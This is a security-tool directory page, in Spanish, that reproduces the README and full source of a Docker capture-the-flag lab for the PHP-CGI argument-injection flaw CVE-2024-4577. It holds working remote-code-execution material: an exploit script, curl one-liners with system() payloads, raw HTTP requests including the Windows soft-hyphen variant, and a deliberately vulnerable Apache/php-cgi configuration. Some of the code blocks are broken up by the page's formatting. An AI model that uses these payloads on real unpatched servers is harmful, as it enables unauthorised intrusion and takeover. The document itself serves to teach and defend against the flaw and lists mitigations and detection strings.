Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2024-4577-lab — # Laboratorio CTF basado en Docker que demuestra CVE-2024-4577, inyección de argumentos PHP-CGI que conduce a RCE. Incluye PHP 5.4.1 CGI vulnerable, scripts de explotación y recuperación de la bandera. | Kitploit
Herramientas/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

# Laboratorio CTF basado en Docker que demuestra CVE-2024-4577, inyección de argumentos PHP-CGI que conduce a RCE. Incluye PHP 5.4.1 CGI vulnerable, scripts de explotación y recuperación de la bandera.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-4577 — Inyección de Argumentos en PHP-CGI → RCE (Laboratorio Docker / CTF)

Un laboratorio Docker autónomo, desde cero, que demuestra la primitiva real de inyección de argumentos → Ejecución Remota de Código detrás de CVE-2024-4577. Explótalo a través de http://localhost:8080, obtén una shell y lee la bandera desde dentro del contenedor.

Esta es una vulnerabilidad genuina, no simulada. El contenedor compila un binario PHP 5.4.1 CGI sin parchear y lo conecta detrás de Apache exactamente como se configuran los hosts vulnerables reales. No hay ningún "if password == flag" falso en ningún lugar — la única forma de obtener la bandera es lograr realmente la ejecución de código.


⚠️ Lee esto primero — Linux vs. Windows (importante y honesto)

El payload característico de CVE-2024-4577 usa %AD (un guion suave). Ese truco solo funciona en Windows, porque la codificación de caracteres "Best-Fit" de Windows convierte el byte 0xAD en un - () real de que el parche de CVE-2012-1823 de PHP ya haya verificado la cadena de consulta. Esa conversión de codificación la realiza —

``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------
0x2D
después
el propio Windows
no ocurre dentro de un contenedor Docker Linux normal.

Por lo tanto, un laboratorio Linux fiel y ejecutable en tu máquina reproduce la misma primitiva RCE exacta — inyección de opciones de php-cgi a través de la URL → -d auto_prepend_file=php://input → ejecución de código — usando la forma literal - (que es el bug padre de CVE-2024-4577, CVE-2012-1823). La única diferencia con un objetivo real de CVE-2024-4577 en Windows es la capa de bypass de codificación %AD→-, que este README documenta en su totalidad (ver Cómo funciona y poc.http).

Este laboratorio LinuxCVE-2024-4577 real (Windows)
Componente vulnerablephp-cgiphp-cgi
Primitiva RCE-d auto_prepend_file=php://inputidéntica
Delimitador en la URL- literal%AD (best-fit → -)
¿Omite el parche de 2012?N/D (PHP anterior al parche)Sí, vía best-fit de Windows
Se ejecuta en Win 11 Home + Docker Desktop✅❌ (necesita contenedores Windows)

Si necesitas específicamente la reproducción bit a bit del %AD de Windows, necesitas un host Docker con capacidad de contenedores Windows (Windows Server / Win Pro + Hyper-V) — no se ejecutará en Windows 11 Home. El payload de Windows está incluido en poc.http como referencia.


1. Descripción de la CVE

CVE-2024-4577 — Inyección de Argumentos en PHP CGI que conduce a Ejecución Remota de Código. Descubierta por DEVCORE (Orange Tsai / Angelboy), divulgada el 2024-06-06.

Cuando PHP se implementa en modo CGI (o el binario php-cgi.exe es accesible de otro modo) en Windows con ciertas configuraciones regionales del sistema (chino tradicional/simplificado, japonés y otras), el servidor web pasa la cadena de consulta HTTP a php-cgi como argumentos de línea de comandos. Un atacante puede colar opciones de línea de comandos de php-cgi (-d ...) en esa cadena de consulta. La conversión de página de códigos best-fit de Windows convierte el byte de guion suave 0xAD (%AD) en un guion ASCII -, que se cuela por el endurecimiento de CVE-2012-1823 y permite al atacante establecer directivas INI arbitrarias de PHP — la más útil es auto_prepend_file=php://input con allow_url_include=1, que ejecuta el cuerpo de la solicitud proporcionado por el atacante como PHP. Resultado: ejecución remota de código sin autenticación. Fue armada en la naturaleza en cuestión de días (p. ej., el ransomware TellYouThePass).

2. Causa raíz

  1. CGI pasa la cadena de consulta como argv. Según RFC 3875, si la cadena de consulta de una solicitud CGI no contiene ningún = sin codificar, el servidor la divide por +, decodifica cada palabra en URL y las pasa al programa CGI como argumentos de línea de comandos. Por lo tanto, php-cgi recibe un argv controlado por el atacante.

  2. php-cgi analiza ese argv como opciones. Históricamente, php-cgi interpretaba -d key=value, -T, etc. de ese argv. Al proporcionar -d allow_url_include=1 -d auto_prepend_file=php://input, PHP ejecuta el cuerpo de la solicitud como código → CVE-2012-1823.

  3. La corrección de CVE-2012-1823 es incompleta en Windows. El parche de 2012 añadió una protección en sapi/cgi/cgi_main.c: aproximadamente "si la cadena de consulta (cruda) comienza con - y no tiene =, omitir el análisis de opciones (skip_getopt)." Un atacante que envíe un - literal ahora está bloqueado.

  4. La codificación best-fit derrota la protección (el bug de 2024). En Windows, PHP convierte la línea de comandos usando la página de códigos de la configuración regional con mapeo best-fit habilitado. El atacante envía %AD (byte 0xAD, guion suave). En el momento de la verificación de la protección, el primer byte es 0xAD, no -, por lo que skip_getopt no se establece. Más tarde, cuando PHP realmente construye el argv, Windows mapea por best-fit 0xAD → -, por lo que getopt ahora ve -d. La inyección de opciones se activa después de la verificación que se suponía que debía detenerla. Ese orden de verificar-luego-convertir es toda la vulnerabilidad.

En este laboratorio Linux, los pasos 1–2 se reproducen exactamente con un php-cgi que es anterior al parche del paso 3, por lo que la forma literal - funciona y demuestra la RCE idéntica. El paso 4 es la capa exclusiva de Windows, documentada pero no ejecutada (Linux no tiene conversión best-fit).

3. Versiones afectadas (CVE-2024-4577 real)

Corregida en 8.3.8, 8.2.20, 8.1.29. Por lo tanto, vulnerables:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x, 7.x, 5.x — fin de vida útil, sin parchear, también afectadas

Condiciones: sistema operativo Windows; PHP ejecutándose como CGI o con php-cgi.exe expuesto (la configuración predeterminada de XAMPP en Windows es vulnerable); una configuración regional afectada para la ruta best-fit. (El bug padre CVE-2012-1823 — la primitiva que ejecuta este laboratorio — afecta a cualquier sistema operativo que ejecute un php-cgi anterior a la corrección de 2012 en esta configuración.)

4. Estructura del proyecto```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. Requisitos previos

- **Docker Desktop** (Windows/macOS) o Docker Engine (Linux).
  Windows 11 Home: instala Docker Desktop con el backend **WSL 2** (predeterminado).
  → https://www.docker.com/products/docker-desktop/
- `curl` para la explotación (`curl.exe` está integrado en Windows 10/11; también en
  Git Bash / WSL / macOS / Linux).
- Acceso a Internet **durante la compilación** (descarga el código fuente de PHP 5.4.1).

## 6. Instrucciones de compilación

Abre una terminal en la carpeta `cve-2024-4577-lab/`.

### Opción A — docker compose (recomendada)```bash
docker compose up --build -d

Opción B — docker simple

Comando de compilación de docker:```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**comando docker run:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

La compilación genera PHP desde el código fuente (tarda entre 2 y 5 minutos la primera vez). Si falla en tu máquina (sin conexión, sin cadena de herramientas, museum.php.net bloqueado), usa la imagen base alternativa:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. Cómo verificar el servicio```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
Deberías ver el HTML del **Portal de Estado Interno de ACME**, y crucialmente:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi (es decir, servido a través de php-cgi) confirma que el componente vulnerable está en la ruta de la solicitud. También revisa los registros:```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. Pasos de explotación

La cadena de consulta inyectada (codificada en URL para que Apache no vea **ningún `=` literal** y
por lo tanto la trate como argv de CGI):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi parses as:``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
El **cuerpo de la solicitud** se convierte en código fuente PHP (leído mediante `php://input`) y se ejecuta
*antes* de `index.php`.

### 8a. La forma más fácil: ejecutar el script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. Manual — una línea de curl (Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> En **Windows PowerShell**, usa `curl.exe` explícitamente (el `curl` de PowerShell
> es un alias de `Invoke-WebRequest` y altera la cadena de consulta):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. Manual — HTTP sin procesar (Burp Repeater)

Consulta [`poc.http`](#poc-http). Pega la solicitud n.º 1 en Burp Repeater y envíala.

## 9. Salida esperada```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

La línea uid=33(www-data) demuestra ejecución arbitraria de comandos del sistema operativo como el usuario del servidor web — esto es ejecución real de código, no una cadena impresa.

10. Cómo recuperar la bandera

La bandera se encuentra en /flag.txt dentro del contenedor — fuera de la raíz web (/var/www/html), por lo que no es accesible a través de HTTP. La única forma de leerla es ejecutar un comando mediante el RCE:```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
Bandera:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(En un CTF real no te dirían la ruta — ejecutarías ls -la / a través del RCE para encontrarla. Prueba bash exploit.sh http://localhost:8080 "ls -la /".)

11. Comandos de limpieza```bash

compose

docker compose down

plain docker

docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm

remove the image entirely

docker rmi cve-2024-4577-lab

nuke build cache too (optional)

docker builder prune -f

root@kitploit:~
---

## 🔬 Cómo funciona el exploit, paso a paso

1. **Cliente → Apache.** Envías
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   con un payload PHP en el cuerpo.

2. **Enrutamiento de Apache.** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` enrutan la solicitud al
   binario **php-cgi** (mod_actions + mod_cgi).

3. **Cadena de consulta → argv (la regla CGI).** El `mod_cgi` de Apache ve que la cadena
   de consulta **no tiene `=` sin codificar** (enviamos `%3d`, no `=`), por lo que según RFC 3875
   divide en `+`, decodifica cada palabra con URL y las pasa a php-cgi como `argv`:
   `-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.

4. **php-cgi analiza las opciones inyectadas.** Este php-cgi (5.4.1, anterior al fix de 2012)
   **no tiene la protección `skip_getopt`**, por lo que procesa felizmente las opciones `-d`:
   - `allow_url_include=1` — permite incluir PHP desde wrappers de streams.
   - `auto_prepend_file=php://input` — antes de ejecutar el script solicitado,
     incluye y ejecuta el **cuerpo de la solicitud** como PHP.

5. **El cuerpo se ejecuta como código.** `php://input` es tu cuerpo POST,
   `<?php system('id; cat /flag.txt'); die(); ?>`. Se ejecuta como el usuario de Apache
   (`www-data`), ejecuta el comando del sistema operativo, imprime su salida y llama a `die()`
   antes de que `index.php` llegue a ejecutarse.

6. **Exfiltración de la flag.** `system('cat /flag.txt')` lee `/flag.txt` (legible
   por `www-data`) y lo devuelve en la respuesta HTTP.

### Por qué existe la vulnerabilidad (el "porqué" más profundo)

- **CGI confunde *argumentos* con *entrada de usuario*.** La convención CGI de los años 90 de
  convertir una cadena de consulta en `argv` fue diseñada para scripts de búsqueda `<ISINDEX>`.
  Apuntarla a un intérprete como `php-cgi`, cuyos `argv` son
  potentes interruptores de configuración, es un error de categoría: los datos controlados por el usuario
  se convierten en configuración del programa.

- **`-d` es inyección remota de INI.** `php-cgi -d nombre=valor` sobrescribe *cualquier* directiva
  INI en tiempo de ejecución, sobrescribiendo incluso un `php.ini` endurecido. `auto_prepend_file`
  + `allow_url_include` + el wrapper `php://input` se componen en
  "ejecutar el cuerpo de la solicitud", es decir, RCE.

- **CVE-2024-4577 específicamente** existe porque el fix de CVE-2012-1823 comprueba la
  cadena de consulta en busca de un `-` inicial **antes** de que Windows realice su **conversión
  de codificación best-fit**. El atacante envía `%AD` (guion blando); no es `-`
  cuando se ejecuta la comprobación, por lo que la protección pasa, pero Windows luego mapea
  best-fit `0xAD → 0x2D (-)`, reintroduciendo el `-` después de la puerta. **Orden de comprobar-luego-transformar**
  + una codificación dependiente de la configuración regional y con pérdida = un bypass del parche.

---

## 🛡️ Por qué este desafío resiste "solo adivinar la flag" / atajos de IA

- La flag **no está en la raíz web** y **no está referenciada por `index.php`**,
  por lo que ninguna cantidad de rastreo, fuzzing o lectura del código fuente de la aplicación la revela.
- **No hay backdoor lógico** (no hay `if (input === flag)`), por lo que un solucionador no puede
  revertir una comparación — la flag solo aparece en el stdout de un proceso **después
  de una ejecución real de comandos del sistema operativo**.
- Recuperarla **requiere realizar el exploit real de inyección de argumentos**:
  codificar correctamente `=` como `%3d`, mantener `-` como delimitador de opciones y
  entregar el payload a través de `php://input`. Si te equivocas en cualquier paso, obtienes la
  página benigna de ACME, no la flag.
- El token es una **cadena aleatoria de alta entropía**, no una palabra adivinable.

---

## Mitigación en el mundo real

- Actualiza PHP a **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **No ejecutes PHP como CGI.** Usa PHP-FPM / mod_php.
- En Windows/XAMPP, elimina los mapeos `ScriptAlias`/handler que exponen
  `php-cgi.exe`; bloquea solicitudes donde la cadena de consulta comience con un
  guion blando codificado; deniega `%AD` en la cadena de consulta en el WAF.
- Detección: registros web con cadenas de consulta que contengan `%AD`, `auto_prepend_file`,
  `allow_url_include` o `php://input`.

---

# APÉNDICE — cada archivo, completo

Todo lo siguiente es el código fuente completo de cada archivo, para que este documento único
sea totalmente autocontenido.

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

`Dockerfile.vulhub````dockerfile

=============================================================================

FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile

fails on your machine (e.g. no build toolchain, offline, museum.php.net

unreachable).

It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires

Apache + php-cgi in the same vulnerable way, then drops in our app + flag.

To use it:

docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .

docker run --rm -p 8080:80 cve-2024-4577-lab

or edit docker-compose.yml: dockerfile: Dockerfile.vulhub

NOTE: this pulls a third-party base image, so it is less "from scratch"

than ./Dockerfile. The exploit and README steps are identical.

=============================================================================

FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80

root@kitploit:~
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

`config/apache-vhost.conf````apache

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html

root@kitploit:~
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

Referencias

  • Aviso de DEVCORE — "CVE-2024-4577 · Inyección de argumentos en PHP CGI" (junio de 2024).
  • Commits de corrección de seguridad de PHP para 8.1.29 / 8.2.20 / 8.3.8 (sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — el fallo de inyección de argumentos original que este laboratorio reproduce.
  • RFC 3875 — La interfaz común de puerta de enlace (CGI) versión 1.1, §4.4 (línea de comandos).

Solo para uso autorizado en educación de seguridad / CTF.

Descargar herramienta